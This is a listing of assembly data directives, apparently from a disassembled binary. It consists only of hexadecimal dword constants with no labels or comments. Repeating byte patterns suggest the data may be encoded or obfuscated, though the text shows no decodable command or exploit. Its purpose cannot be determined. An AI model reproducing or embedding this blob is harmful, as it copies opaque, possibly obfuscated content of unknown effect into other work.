dd 9AC96ADEh, 60A8671Ah, 54AF98A1h, 0BC340CE8h, 0A13DC699h
dd 11321532h, 88321E8Fh, 62F78D66h, 8691A471h, 0E3C47C9Ah
dd 0D1CB4706h, 44249769h, 33DB1566h, 72321566h, 94E4894Eh
dd 0FCEAB73h, 0D43E4545h, 3D2ABC19h, 3D879E07h, 24340147h
dd 2DC3AA69h, 0F853C2D9h, 88323878h, 4DB71A9Ah, 42321566h
dd 0E946A2DEh, 0E9C19F7Fh, 658798EDh, 2EDB1372h, 0FD321566h
dd 0B1BAFCF2h, 8A94897Eh, 42B78897h, 11329269h, 0C8881566h
dd 256289A4h, 387A0EFh, 1ADB1372h, 73321566h, 0B440F737h
dd 0EBD95DE5h, 1E52A6C6h, 3F3DCDD9h, 0F96774B1h, 55B2707Ch
dd 221BF8E7h, 65F305E2h, 1FDF9463h, 0A3439B10h, 534BC493h
dd 0D5DB3CF6h, 85B3E44Fh, 23D90783h, 0E6E3929Ah, 0B9E324BCh
dd 0B8E324ACh, 5C87FBE7h, 0FFB37300h, 0E69B66F5h, 82B3DB4Fh
dd 4C9B66F5h, 6F87D3E7h, 74527300h, 8CFB9400h, 86C174B7h
dd 113E9369h, 53D1566h, 44321560h, 22329D69h, 56DB1566h
dd 87CDEA9Bh, 443214EDh, 0BFBFE066h, 17288DBCh, 883C9669h
dd 4B521566h, 223215E6h, 0DBDD9466h, 0E96472D9h, 48DBC699h
dd 0D0321566h, 99603A94h, 0E5B7FD1Eh, 243636B9h, 0F164AB00h
dd 0FEF3DDE7h, 0DA536D42h, 0CDCF9C33h, 0F2BB488Ch, 1134FC3Ch
dd 11AE1566h, 454AC2C7h, 3A87904Dh, 0F8C71372h, 8832156Eh
dd 277CDCC7h, 4323A664h, 1AFF90EFh, 2521372h, 1DC746A7h
dd 2ABE1A07h, 1E321566h, 883217EEh, 0CF537566h, 362AA0E3h
dd 0F8CA7560h, 88321568h, 0F3F8603Bh, 2BAEA440h, 154B002Fh
dd 0DD53DDCAh, 81B3F0EFh, 22321562h, 1136F8E7h, 0A4B51566h
dd 78BB4942h, 23B31A42h, 0E8321566h, 1657406h, 40F59481h
dd 0A3321566h, 11321189h, 0AC0E9266h, 60369C3Ah, 7CBF989Eh
dd 71340FFDh, 42B3739Fh, 0BB53FBA4h, 3EB91AB7h, 1E321566h
dd 883203E9h, 4423FC66h, 78F61566h, 9D47121Dh, 53306E51h
dd 0C9D154A6h, 0A9EA700Fh, 51F48E3h, 0E0CBED60h, 443230D3h
dd 2D1611EFh, 11321FE6h, 8837FC66h, 0AB051566h, 70DCF3B1h
dd 0D3B3F7EFh, 88321562h, 4436FFE7h, 36B51566h, 2DBB4942h
dd 883CFC42h, 22F01566h, 0AA4ABD1Bh, 44FC9718h, 9DCCD2E7h
dd 5C8790EDh, 42CE1372h, 1EEB9E00h, 883216EEh, 0BEB97366h
dd 41327D07h, 15BB1566h, 9BB91A42h, 0AD321566h, 22321568h
dd 4A7F0826h, 0F0D54232h, 34A32BD7h, 0A73D8140h, 1132157Ch
dd 8823FC06h, 0B8931566h, 5176A012h, 0FAC7385Ch, 2D7A7802h
dd 142A673Ch, 0AFBF7439h, 1728893Eh, 0E8E3EA9Ah, 2453AAD4h
dd 22349F69h, 9A3D1566h, 88321566h, 4432018Fh, 0FB8B6D66h
dd 51F5969Bh, 0D3BC0DCDh, 153DCE79h, 0E836FA48h, 595A74E6h
dd 1321530h, 70B33162h, 0EF6B0242h, 0E3B34F01h, 0EFFF4C71h
dd 0FF61459Ah, 2A94771h, 15164967h, 61B34C3Dh, 64A94771h
dd 22321C8Fh, 0D9496066h, 3BFB49C4h, 57DB7C60h, 36321566h
dd 31B085E7h, 0F750B46h, 9DF75869h, 28076957h, 9C198967h
dd 8E26383Bh, 4BF39E06h, 223210E4h, 0DD78AF66h, 0B5371D9h
dd 501470DBh, 0A63D1560h, 113215E4h, 8EBB1A06h, 4B321566h
dd 223215E1h, 0CF851A66h, 59B79E07h, 0BD340146h, 457904Dh
dd 77521372h, 8733D0DCh, 7F53EFD9h, 71B41AA7h, 1E321566h
dd 883218EEh, 97897566h, 0A354880Fh, 4E8F0A96h, 0DB97424h
dd 4226172Bh, 22321E8Fh, 47E1966h, 190B1608h, 3F045DFh
dd 4579065h, 90521372h, 2D14DCB8h, 91EB940Fh, 431A9ED9h
dd 0CCB79C9Fh, 87340179h, 443214E9h, 0B9DBEC66h, 71321567h
dd 167E007h, 40F79483h, 0A1321566h, 3DB5118Bh, 84BB4942h
dd 5DBB1A42h, 0CB321566h, 11321572h, 30FEFAC0h, 3C0E2251h
dd 0BDA149CAh, 89B9EEB6h, 84F87DC6h, 0CDF99C35h, 62E9EBEh
dd 1136D1E7h, 0D8521566h, 1AF2AA69h, 9B63749Fh, 0EECDEA99h
dd 0E86BDD67h, 4432108Eh, 7BD3DD66h, 1CDBA4BDh, 0FB321566h
dd 8502578h, 0A5286C75h, 8C4817CEh, 73B97338h, 40DE9607h
dd 9F1639EFh, 7DF1074Bh, 4DB3C891h, 28F1374Ah, 0DE6FFD6Fh
dd 1133AE35h, 50331566h, 4EBC1A3Dh, 0CB321566h, 11321563h
dd 6C92D1C4h, 95B79CD4h, 42340146h, 1EF2AA69h, 8953EAD9h
dd 503D54E3h, 953D7560h, 11BB1AA1h, 0E9321566h, 44321B8Fh
dd 0C0280766h, 0D1A74ACBh, 9C58D85Dh, 83D1CA4Bh, 361470E3h
dd 11321560h, 90B51A66h
dd 0AD321566h, 22321575h, 6717A37Dh, 63564C36h, 473FD1F3h
dd 151F4900h, 7B544D74h, 885AE926h, 0B1321576h, 0A3D59C31h
dd 113211A1h, 8CDD9666h, 181629E1h, 0D71619EFh, 0E4CA150Ch
dd 0AC9B8099h, 50DB1372h, 0AF321566h, 5B0223DBh, 45990630h
dd 1A682CBCh, 0ED82EA96h, 0EEA00F44h, 9C2298F3h, 45B01A60h
dd 0DA321566h, 137F90EFh, 1CA1372h, 502DC8E3h, 0C5B37560h
dd 4E37CC27h, 7BF99400h, 70CD74E4h, 0E6B14C42h, 0FEB37562h
dd 0F9C31376h, 5BB11A07h, 2D321566h, 11320CE4h, 8826FC66h
dd 0AB1B1566h, 0DBAC49AFh, 0ED1781CEh, 0E3972EFEh, 0B12246C0h
dd 97CD8F16h, 17260ABBh, 4EB97306h, 0BB538FD0h, 361F48D3h
dd 9867ED60h, 8CF79483h, 0C7321566h, 0EB5118Bh, 2DBB4942h
dd 3DCDEC42h, 42260DD3h, 0F1B97306h, 98E49400h, 0DBF7470h
dd 4228A614h, 223BFC06h, 0BCE01566h, 257E669h, 25290786h
dd 0CB52C599h, 11321577h, 0FA8A741Dh, 0C1FFF958h, 0DB3F9F16h
dd 0A51E441Bh, 8821FCFBh, 77B71566h, 0CF8672Ah, 48E7C74h
dd 7646FAB8h, 0F6C43CC2h, 0AF3374A5h, 17263303h, 88321D8Fh
dd 149F7866h, 75B9BDB0h, 0CC8F9E02h, 0E8340179h, 2214C6E6h
dd 0F3D0E4E7h, 113CFC07h, 628F1566h, 0D93C9515h, 4E78D3AAh
dd 43689009h, 0A56FA0EDh, 0ADC71372h, 22321569h, 0E9335B11h
dd 0F8C5508Bh, 21B81CAh, 0D169F878h, 9B5275C2h, 6BFC949Ah
dd 257920C6h, 0E36AE6E7h, 9A534128h, 9C0674D3h, 4B9FE960h
dd 22321DE4h, 13B11A66h, 0E8321566h, 78D4207h, 0E51FC929h
dd 5E71E920h, 316338BAh, 0BBCDEA9Ah, 1B03E467h, 1EDB4A3Fh
dd 47321566h, 9E56970Ah, 6A3293ACh, 7C040598h, 48F35B34h
dd 45BB1A63h, 0DA321566h, 509FAA31h, 7F754A06h, 0B9FD94B1h
dd 0E35D371Ah, 0D6B31189h, 0DAD22EF5h, 0EE15D2E7h, 0DA3306C9h
dd 17BB1A39h, 0E8321566h, 0D173AA00h, 0DBB71607h, 0ED340142h
dd 97EF98EDh, 15C71372h, 5521AB30h, 653327ABh, 76C1142h
dd 571A9466h, 4200D811h, 70E39E00h, 8832188Fh, 0CFFE2566h
dd 334DFB5Dh, 0EA14C473h, 709F6317h, 0B3B34606h, 41E996DDh
dd 0E0B3733Fh, 0DB532796h, 0D25D73DDh, 0C4F19468h, 90478428h
dd 6B155185h, 85E9E223h, 0C9B31685h, 0CFD4D886h, 1ED9C31h
dd 1F6DE918h, 2232048Fh, 869AB766h, 65846666h, 33362E5h
dd 0CC542056h, 1ADB8E9Ah, 0CD321566h, 686CCB84h, 515EDBDDh
dd 0A4BBD984h, 8E262107h, 44339369h, 0A1C71566h, 943DEA9Eh
dd 883215F6h, 0B8BAA006h, 0FF0C9407h, 1EEFC8BBh, 88326AE3h
dd 4422FC66h, 5E8A1566h, 0D6438F14h, 0B9510688h, 3AA4C320h
dd 996176E6h, 11321566h, 94B90BEFh, 40F69642h, 2232068Fh
dd 60ABD966h, 8E94F162h, 0C19A15C0h, 0BFBBD34Bh, 85EA320Bh
dd 8836AD36h, 0AAB31566h, 42176246h, 0D7B3D367h, 0E8176246h
dd 443AFC3Eh, 0A7371566h, 567AEA1Eh, 3DBBD4E7h, 42262107h
dd 2232048Fh, 9348CC66h, 301A0A94h, 0A071D105h, 0AF55EC91h
dd 0A0DB0CA3h, 71CDEAB4h, 0B131D5A7h, 6CB9065h, 9C3D1372h
dd 88321561h, 4B6D4506h, 0A153EED9h, 51DBCDBh, 0C3D1460h
dd 44321645h, 22321A8Fh, 36892666h, 6381E920h, 0B9020A2Ch
dd 405DC6B2h, 1132018Fh, 487B966h, 0AE602491h, 847B1D14h
dd 0D5F0F237h, 0D9A19B26h, 0EE0C940Ch, 2D98BFCCh, 11324BE3h
dd 3062E066h, 44321562h, 26B9D367h, 15F69442h, 7D321566h
dd 57B2AC37h, 0E3734CA9h, 0F0F3168Fh, 54DB9464h, 0C574161Eh
dd 0C622F197h, 0ED7C9C80h, 0B1619EDh, 2CCB11A2h, 2232756Bh
dd 461611EFh, 9524A3Eh, 16E80E89h, 43524378h, 0A6617439h
dd 76BA478Fh, 1F68E5EEh, 221DFC93h, 41CE1566h, 0AC369E31h
dd 1B36D1E5h, 9561449Ah, 0D9C59546h, 69E8EEh, 0CF3D4C8Eh
dd 22321577h, 1132198Fh, 5D495566h, 0E7EBB29Bh, 7E48CE6Ah
dd 47F47D87h, 8CBB1566h, 43DA7542h, 0E321566h, 2FBFC359h
dd 4C84A433h, 6DE3AF3Dh, 0A1533CECh, 51E4CDBh, 0C3D1460h
dd 44321468h, 2B5A439Ah, 4F7F7741h, 0FD6FAA31h, 93C51FD8h
dd 8E99E2E7h, 0EF1BAD45h, 0D6C29C39h, 0EC8F969Eh, 22340E1Eh
dd 11149169h, 5CA1566h, 5EF5B1FBh, 98527560h, 0A8A04Bh
dd 7AB97307h, 97CDE007h, 22389E69h, 1E521566h, 883215E7h
dd 25C59E66h, 2DA22AE6h, 11325EE2h, 8837FC66h, 423E1566h
dd 0A3562C5Ah, 1132118Ah, 0AC2E9C66h, 443210DDh, 79ED1466h
dd 108BFC9Fh, 83D1566h, 44321571h, 2232078Fh, 56639366h
dd 2E96E8A6h, 91245820h, 0C942190Ch, 71C37C77h, 88379B69h
dd 0C5541566h, 43307195h, 1E62EDE5h, 883274E4h, 4EB21A66h
dd 42321566h, 77FDAA69h, 0F689C7E7h, 22C7A507h, 0A76A037h
dd 356B738Eh, 74CD11B5h, 40B9ECCCh, 0C0BB4742h, 1136D7E7h
dd 4AB11566h, 60269262h, 223EFC3Ah, 47521566h, 1B1A754Fh
dd 1814BD2Dh, 4298D48Bh, 0AA54DBEDh, 615361A0h, 443215C7h
dd 22321C8Fh, 96D6F66h, 744DB674h, 70CD3BDCh, 0E6B14D42h
dd 90547562h, 0E9EC1CBFh, 44339469h, 88CB1566h, 0AEE19506h
dd 70B97306h, 44329A69h, 43531566h, 0F8CD6AE6h, 88519069h
dd 0C7CA1566h, 394ABDDBh, 953D1560h, 88321542h, 443E9769h
dd 0A93D1566h, 11321560h, 88329E69h, 0D9BF1566h, 2428D3BFh
dd 0CFB37306h, 0BF86028Ah, 0B1E1EA07h, 2236F9E7h, 5BB1566h
dd 0F49D42h, 4B681111h, 223209E6h, 1EDB7566h, 0AD321566h
dd 932031B4h, 874BC1D5h, 355B3F97h, 52B3EE45h, 9C6024h
dd 0FFB79E07h, 0F8340179h, 88321572h, 8DD33ABh, 0B2B30108h
dd 0F1235E4h, 0C53D9221h, 3803CCA3h, 6334AF34h, 0D3B33450h
dd 0C45F33ADh, 6D68C567h, 45E3389Eh, 2DB78C5h, 0FA321566h
dd 0C86C2BB2h, 70C3A830h, 0E5200ECCh, 5AE7DB64h, 0FA642612h
dd 22321562h, 19376263h, 0A5C23C48h, 6A3A1011h, 2220FC38h
dd 0CA231566h, 421BA5AFh, 53874CD5h, 0B79B4710h, 0B7B28E8Ch
dd 9CB91ACDh, 4B321566h, 22321BEAh, 113BFC66h, 0B5691566h
dd 3A166B34h, 8F105B60h, 9A544606h, 9534BAEh, 4432118Ah
dd 63E9C66h, 113215DFh, 747C9C66h, 5DBD1A3Fh, 0CB321566h
dd 11321572h, 91BCB3BAh, 0AA9842C7h, 1579459Eh, 0D61F7916h
dd 0B934DEBCh, 0BBC9C08Fh, 24DB7599h, 0BC321566h, 380DE3AAh
dd 4423FDE9h, 88391566h, 0B9E0B43Ch, 95268FC1h, 5B1F41DFh
dd 0CB5A95DBh, 1132156Ah, 41BBF7Eh, 9A446EEDh, 66A5E96Ch
dd 0A4BB743Dh, 8E262107h, 0FB3D7506h, 8F887394h, 9054749Dh
dd 0E9B908A9h, 446CD50Eh, 6269C66h, 1132128Fh, 131E2B66h
dd 13D30B94h, 22B2150Eh, 1BBC1A66h, 61321566h, 44321563h
dd 0C715A561h, 1E327FC1h, 883219E7h, 42B21A66h, 2D321566h
dd 113215E9h, 3DCDE966h, 4226243Bh, 0EFA7EA9Ah, 0F8340160h
dd 88321575h, 947F25A9h, 31FFCF9Fh, 0C01C8E2Eh, 0B6EFA40Fh
dd 0BBEC9B43h, 0A3683152h, 113211A2h, 5B9ED66h, 4226108Fh
dd 22369369h, 9A521566h, 0D96574B6h, 64667CDFh, 7BFD9C7Ch
dd 455B14A1h, 0B11B0F46h, 51BE1A39h, 0CB321566h, 11321576h
dd 8391AB94h, 28F8DDD5h, 5A38E789h, 0B6194E1Ch, 8836A833h
dd 0AD331566h, 0A31639EDh, 113211A2h, 883EFC66h, 849B1566h
dd 0E9F07969h, 0E1A0A368h, 5BBE905h, 4226108Fh, 2232138Fh
dd 0BF546066h, 61801D83h
dd 0BBCDD3F0h, 0EDB24506h, 1FDB4C32h, 1F321566h, 0B32712BDh
dd 9923D8A6h, 5C94A89Bh, 0E3D7410h, 44321567h, 931FC93h
dd 1DDB1566h, 0B6321566h, 648D9D59h, 74AD7C21h, 7188C138h
dd 61BF9E93h, 24340163h, 2DF89E00h, 113215E8h, 0DE527466h
dd 44329C69h, 0CA681566h, 11321577h, 377BB6E2h, 232FB75Dh
dd 255B4AF7h, 0A21FB565h, 0A5FA944Ch, 1C3F09C8h, 26DE9407h
dd 98321566h, 88883172h, 45321566h, 78389EACh, 0B5BF9C9Ah
dd 0E8340E1Eh, 4BC5AA69h, 22320FE1h, 1126FD66h, 0BFB51566h
dd 6A7E3A6Ah, 7CF47D1Ah, 0A3701E62h, 0C1D08BD1h, 256A4D5Eh
dd 767C2DE7h, 943D5922h, 883215E4h, 4421FC9Ah, 6EF61566h
dd 95FBB24Bh, 0D99ECEC8h, 4E308DABh, 0F09F328Eh, 69B3731Ah
dd 871C5962h, 443248E3h, 23BF1A66h, 0E8321566h, 0AC069436h
dd 5C768CEh, 0A11621EDh, 0E7B311A2h, 0C9C768CEh, 428F4093h
dd 23321566h, 351E9E88h, 0E836D1E5h, 24ED9400h, 4ED49541h
dd 0ECB79E07h, 0E8340157h, 0F33D93D7h, 48DB74B0h, 71321563h
dd 88321F8Fh, 23E53366h, 90F028ADh, 90E2C451h, 0B0C571B7h
dd 0CD617441h, 0A9EC9CA5h, 0D5B3317Ah, 88321562h, 442F9F69h
dd 0A13D1566h, 11321571h, 8832078Fh, 1E85CB66h, 3132624Ah
dd 908FB3CBh, 0ABC52BF9h, 1495AD3Ah, 0A11601EDh, 0AF5211A2h
dd 0A66B887Ah, 44BB1A06h, 43321566h, 0D803E007h, 8832188Fh
dd 0C68BD666h, 0F3286E09h, 9CAB155Bh, 709ED6D1h, 0C03D155Ah
dd 223214C4h, 11239269h, 84DB1566h, 4E321566h, 0FB0FF5FDh
dd 78148A5Fh, 0B44E942Eh, 93B61A4Bh, 2DCDEA99h, 113214E4h
dd 0A60EE066h, 453F9169h, 0A53D1566h, 11321577h, 883BFD06h
dd 31F11566h, 631F1B36h, 4B9DF320h, 87022907h, 44374EE4h
dd 2EB81A66h, 1E321566h, 883213E9h, 44B51A66h, 1E321566h
dd 9EB41A5Fh, 7DCDEA99h, 0C63D545Ah, 2232105Eh, 1E68299Ah
dd 77CD68E0h, 443FFC99h, 0D4121566h, 4782654Dh, 8485259Fh
dd 786C28C9h, 41B61A39h, 0F8CDEA99h, 88321569h, 0B17EF9A9h
dd 566A25F2h, 863C8F47h, 0B4222A70h, 0BDB01A07h, 0CB321562h
dd 1132156Ah, 0C097D337h, 7A4DC08Bh, 93D7B431h, 1E48299Fh
dd 77CD38E0h, 4BDA7599h, 61321566h, 588B1DA4h, 0B023ED03h
dd 78FC1E36h, 0CCB209C7h, 3DB4ABBh, 48321566h, 0C0FCB6F5h
dd 0F4771753h, 0EA02182Dh, 517124Dh, 0EDDB74EDh, 42321562h
dd 11309C69h, 0E9521566h, 42DBEC06h, 0CE321566h, 0EF4386C8h
dd 0E85374F9h, 218B7306h, 2220FC1Ch, 0ABBB1566h, 0E558294Fh
dd 3064A058h, 1F7039F1h, 3B640695h, 79B37307h, 1153D2E0h
dd 223214DBh, 4CD81466h, 87C02C93h, 44364EE2h, 2CBA1A66h
dd 0F8321566h, 8832156Fh, 839A672Ch, 9FA86309h, 108B440Bh
dd 0A1321566h, 16CA4CACh, 223214DCh, 4BE31466h, 88321A8Fh
dd 650DF866h, 0BA0E4295h, 0AC18D81Dh, 9009581Bh, 0BBCC7C8Fh
dd 2DBA1A99h, 0F8321566h, 8832156Ch, 9CAD1EB9h, 9539227Ah
dd 0D8B7C4E7h, 8BCC9169h, 0C53D1566h, 22321567h, 4487989Eh
dd 6134016Ch, 44321563h, 7420E868h, 7C5AE04Dh, 1321569h
dd 40B33172h, 0F81F3242h, 0F8B34C01h, 0EFE83841h, 0BD8D1A06h
dd 2DDB749Fh, 0A5321566h, 0CFF91475h, 2D2B530Ch, 0F0BAC96Fh
dd 90600CAFh, 0E6E33162h, 116D5CF4h, 0B05CC4DBh, 4CDD3C2Fh
dd 8832138Fh, 0EC8BEC66h, 0CB675732h, 11321563h, 37547128h
dd 0DA874418h, 0CA02A5D6h, 921619EDh, 86DB11A2h, 86321566h
dd 0D2863420h, 72BC4593h, 0B1EE7DA4h, 4437FCA2h, 0D11A1566h
dd 0BF6C6B4Ah, 9ADBE813h, 82321566h, 5040B12Fh, 3473BF86h
dd 76CF97A1h, 798BC115h, 4452759Eh, 70BAEEDEh, 0DF8D4207h
dd 0C555D52Ah, 35713381h, 49F59423h, 0CF1E7C09h, 0F2F59421h
dd 0BF5AF00h, 0E81B4A9Fh, 9E24D4E7h, 2CC72C42h, 22321566h
dd 9A16194Fh, 4CB3316Ah, 44321562h, 9B63E093h, 59306CFAh
dd 0A16BDA67h, 0D8DD94A9h, 0CB7A171Fh, 11321576h, 0C577D652h
dd 0E4E20BF5h, 526633D6h, 0FEB57245h, 88218C0Eh, 600E9C66h
dd 0CB6C4A30h, 11321575h, 70BAC7A7h, 95A293BCh, 856A9CBDh
dd 0D5663FECh, 87353284h, 44321EE7h, 0A3547566h, 777F7891h
dd 0E9CCB9DDh, 2252B195h, 7034CFE7h, 1137FC06h, 10D21566h
dd 0ADFB31B9h, 2232156Dh, 0B43C4D4Ch, 8F7F6466h, 2568FD81h
dd 2C844707h, 99C0A235h, 8869EA19h, 0AD68EA11h, 22321575h
dd 4D3C8472h, 0E709FF53h, 0A09D087Ch, 31CFFCC5h, 9C01B1DEh
dd 9C3840F3h, 4434FC60h, 0A2F11566h, 19134758h, 914F90EDh
dd 4FDB1372h, 5E321566h, 0FBB23A36h, 2C41DB3Eh, 84B7182Ah
dd 22489069h, 71C71566h, 3F3D93D3h, 0C1F47497h, 24260F3Fh
dd 1120FC21h, 0AC9D1566h, 210BFA7Fh, 692565CEh, 847E995Ah
dd 55EB4C59h, 0DE95C70Eh, 2223FCB2h, 0C4E01566h, 734373A8h
dd 0F5C7C6DCh, 0BADBD157h, 0EE1648F8h, 9C28C4D3h, 0C1BFE060h
dd 242595BDh, 113BFC06h, 0C3EA1566h, 0E8EE18D9h, 0DEF14006h
dd 1EE2EA07h, 883206EDh, 443CFC66h, 0FEDF1566h, 0A3A9F9EAh
dd 0ECEFD210h, 7EF7C149h, 0A3D09C34h, 113211A4h, 8CD89466h
dd 0C3321566h, 0AB6E3172h, 0EECB3172h, 48B7E0B6h, 44ED9069h
dd 44521566h, 0A40CD3E7h, 75D562DCh, 0CFCA7428h, 361D80E3h
dd 16B51A60h, 87321566h, 443214EAh, 0E2B7E966h, 11439069h
dd 87DB1566h, 9A321566h, 4FAE2020h, 5AC00336h, 11FC0B6Fh
dd 0C1F49835h, 24260F3Fh, 0CBB9752Ah, 15EB9400h, 0AD5A74F1h
dd 2DEBCF7Ah, 113214E7h, 3DCDE066h, 42260FB7h, 0F9B7989Fh
dd 0E83402E6h, 8752C599h, 443201E1h, 223DFC66h, 24311566h
dd 382EED1h, 75712A59h, 5511CC0h, 1122FCD8h, 0E7DC1566h
dd 0AD572571h, 3B1FC3F9h, 755200E0h, 0B53DCE6h, 50BB118Ah
dd 0F2CDE042h, 1132078Fh, 9F45FC66h, 7823616Eh, 0AE73A654h
dd 0CD737645h, 0DEF2326h, 5AB71AA6h, 2D321566h, 113214E9h
dd 45DBE066h, 4B321566h, 223219E5h, 17B81A66h, 87321566h
dd 443215E6h, 86B79C66h, 0E9340E1Eh, 884FD20Eh, 60369C66h
dd 222B9C69h, 5DB1566h, 93321566h, 7E458317h, 0CD116DBFh
dd 1363805h, 0E7BA1A7Ah, 24894CE7h, 0A5673CDCh, 1137FC16h
dd 0E24E1566h, 259FB04Bh, 2200A20Eh, 35069C66h, 3BE09406h
dd 22135CA4h, 43586BDCh, 6D7490EBh, 77CB1371h, 45BD1AB6h
dd 0DB321566h, 943DD56Dh, 88321559h, 4421FC06h, 7BB1566h
dd 0F39967F9h, 0B784F072h, 8170F116h, 3FFEB7BEh, 90544707h
dd 0D66CEAB0h, 4418FC07h, 36DB1566h, 0BF321566h, 0D14469FAh
dd 0A2842F74h, 0AF2BB7B9h, 3F90E751h, 16D241Ch, 4B2E3122h
dd 223212EEh, 4B647566h, 0E9F5A269h, 4420FC07h, 70C31566h
dd 0E5200ECCh, 5AE7DB64h, 0FDBF2612h, 0C2795E02h, 113BFCA5h
dd 0F1B81566h, 4A211E25h, 42F5F308h, 1132128Fh, 0C3CD6466h
dd 18DEAA82h, 222A9A69h, 3DA1566h, 0DC321566h, 0A086F47h
dd 0A4840F28h, 0BDE84B02h, 0B105BFA0h, 24534C3Bh, 0EDB37306h
dd 9A5378DCh, 934AB1EBh, 0A1B27560h, 223DFC95h, 5F021566h
dd 6CDD9B42h, 2E7D9385h, 1190FC78h, 18DB7485h, 0DC321566h
dd 0AE221788h, 0A74A0EAEh, 1145F50Eh, 0AC369C66h, 0ABB37306h
dd 0A35425E6h, 70368CA5h, 8806300Eh, 603E9C66h, 2239FC3Eh
dd 10FE1566h, 0FF040FA8h
dd 5E6D793Ch, 0F5B3754Bh, 22CBEC81h, 0E9F7C1E6h, 440EAC37h
dd 0E3B31566h, 7D5E6C80h, 61B3D467h, 285E6C80h, 2D6B1465h
dd 113212EAh, 89B91A66h, 0BD321566h, 22BAA599h, 25B31566h
dd 9D6DDD42h, 60269E5Bh, 2236D1E7h, 0E3B31566h, 0B5274AAEh
dd 0BBD29506h, 0A79BB4DDh, 84BB7428h, 8E2601FBh, 0BC88479Fh
dd 23321566h, 35269EB6h, 8836D1E7h, 22521566h, 0DD53EEEDh
dd 3DB31916h, 0FA585042h, 0FC624F1Fh, 5B407F23h, 1E6AD767h
dd 88320CEBh, 57B11A66h, 0CB321566h, 11321568h, 929D6661h
dd 0CE2BCCBBh, 1AFBA0Ah, 84BB4F24h, 8E261F47h, 443DFC06h
dd 5911566h, 0F232B218h, 8D712664h, 384B4883h, 26B974DBh
dd 0F2BB4642h, 8836D6E7h, 87B11566h, 62E9262h, 65CDEC3Ah
dd 8CB93142h, 40F69642h, 0A23D7506h, 11321566h, 3544507h
dd 12534AA1h, 0D17080D8h, 0E7B35B2Ch, 0E2E31BA4h, 59D2F3E7h
dd 0ECB34ADAh, 319E5396h, 0EF44E3E7h, 0B41B0111h, 27FA3C38h
dd 25E93CE0h, 883FFC06h, 43C31566h, 0B396733Dh, 0F2B4AA98h
dd 0E9FE620Eh, 4E13905Dh, 0A03D1372h, 11321532h, 883A9769h
dd 0C03D1566h, 22321564h, 94097406h, 8E2601FBh, 44089669h
dd 0CB521566h, 11321568h, 0D8E13298h, 9D4C14BAh, 0AE15C4A2h
dd 16DA272Fh, 0A2321566h, 0E95323CAh, 0A35430FAh, 4FF419B9h
dd 4ACE7407h, 4DDB1562h, 11321566h, 59E1CAFBh, 48D7A3BDh
dd 48BA1A07h, 2D321566h, 113213EBh, 88B01A66h, 0B8321566h
dd 0AD1611A1h, 0E6455771h, 31633172h, 0CC8FFD16h, 2616594Fh
dd 6B41A3Fh, 61321566h, 44321574h, 61353CC1h, 0BB9317DFh
dd 5CDA046Eh, 0F5B2E3Ah, 75CABBF8h, 3DBEAD36h, 0FC8D649Ah
dd 45BC16B5h, 5EBB4DA1h, 1E6D1D42h, 883214EEh, 2C67E966h
dd 8620E80h, 0E8F7943Bh, 49439F69h, 0A9B3138Bh, 205D7DCCh
dd 0E46FFDEFh, 0C54B98EBh, 0CF521372h, 22BA1A9Eh, 70321566h
dd 0E8D3EA93h, 0C5FAAA69h, 0F2FCBE81h, 71527444h, 0BE65AD00h
dd 40DE9607h, 9B1619EFh, 11321566h, 89B8E467h, 443AFC3Fh
dd 7BE61566h, 541F9FF6h, 610E2F51h, 45AB9169h, 0AE3D1566h
dd 11321571h, 8832078Fh, 0DEEBA966h, 9EB11170h, 0C8AE7491h
dd 0C963E5Ch, 78AF717Dh, 85B61A8Eh, 1E321567h, 88320DEEh
dd 0FF547566h, 2FDBD28Fh, 0ED321566h, 0FB4A1CCBh, 8BC18C48h
dd 2AF15C49h, 1126FC07h, 44C31566h, 62435EFCh, 562DFB7Dh
dd 0A9F30148h, 2D99FE34h, 4B0E593Dh, 22B39169h, 5DB1566h
dd 23321566h, 7530BC5Fh, 0A58A2991h, 4A4EFA70h, 68652A3h
dd 0ADA29B99h, 2232156Bh, 406D9CAEh, 0D4DC1378h, 92D91AF3h
dd 2DFF2907h, 1133BFE2h, 8EDB7566h, 0A3321566h, 8E1E7C04h
dd 7021A436h, 88389F69h, 41DB1566h, 50321566h, 1669340h
dd 0C3DFE5Ah, 443214DFh, 0DFB8759Ah, 3FFB9400h, 61537494h
dd 44321563h, 0DD32267Fh, 1BBB1A66h, 0E8321566h, 44329C69h
dd 78651566h, 40CBD607h, 883214DFh, 0F2DB9466h, 230F1B0Ch
dd 0A7F39497h, 20F1B0Ch, 0F2524C7Fh, 0D8D7371h, 0A56274F5h
dd 3D13596h, 80B13162h, 2223FC62h, 89B31566h, 74391BA0h
dd 2635C7E0h, 9438AD2Fh, 9138DFD0h, 0D3D959Dh, 0BBCDEAFCh
dd 22B51A06h, 0A4321566h, 0D864746Bh, 0F90170DEh, 6762465h
dd 90694D62h, 35017095h, 45B71A65h, 0D7321566h, 178D4237h
dd 1321566h, 8F334A9Fh, 0AA5AEC3Fh, 98321569h, 8A8B316Ah
dd 45321566h, 7B2B1697h, 1132078Fh, 959E5266h, 0EBE9EAE7h
dd 56797AF4h, 0AAD005ACh, 619D54B2h, 443215F4h, 2232138Fh
dd 92749166h, 77C25520h, 0FF611410h, 441824E3h, 15164967h
dd 63B34E3Dh, 221824E3h, 22321B8Fh, 994D1A66h, 0EDCD1E19h
dd 31266778h, 0D7D3EB9Dh, 1EC9EEE5h, 8832D5E2h, 515AEC66h
dd 0AB32154Ah, 15B33152h, 345C5642h, 0AFB34E54h, 108E7B25h
dd 79674593h, 0FDBB0436h, 15C7943Bh, 0AB479C77h, 0E133488Eh
dd 876A0D65h, 44321DE3h, 0AA3D7566h, 11321566h, 928A4507h
dd 614EE866h, 3E084EE7h, 0C23E2953h, 7BFB1023h, 8733B372h
dd 81DBE03Eh, 1ECDEA98h, 883203E1h, 4423FC66h, 0CA901566h
dd 0C62920E9h, 0DB7B8A64h, 26F5509Bh, 2D4D04EFh, 71334BD0h
dd 0C1539D8h, 0CC3D4275h, 22321566h, 7752743Dh, 70BA65DDh
dd 6AD99607h, 0DC569169h, 71CAEA99h, 0A8CAAA00h, 4429FC07h
dd 0A43D1566h, 11321567h, 894C959Eh, 3B71A98h, 0CBCDEA98h
dd 11321563h, 0A86BEAAh, 0B898FCBAh, 0A93DEA99h, 11321579h
dd 882B9969h, 50DB1566h, 0B2321566h, 0A3CCCF26h, 0C29DF63Dh
dd 0C5AEBCEDh, 0F1B1BC2Eh, 4789530Ah, 4EB3F3EFh, 44321562h
dd 2236FBE7h, 25B51566h, 0BCBB4942h, 22C77542h, 8B22F3E7h
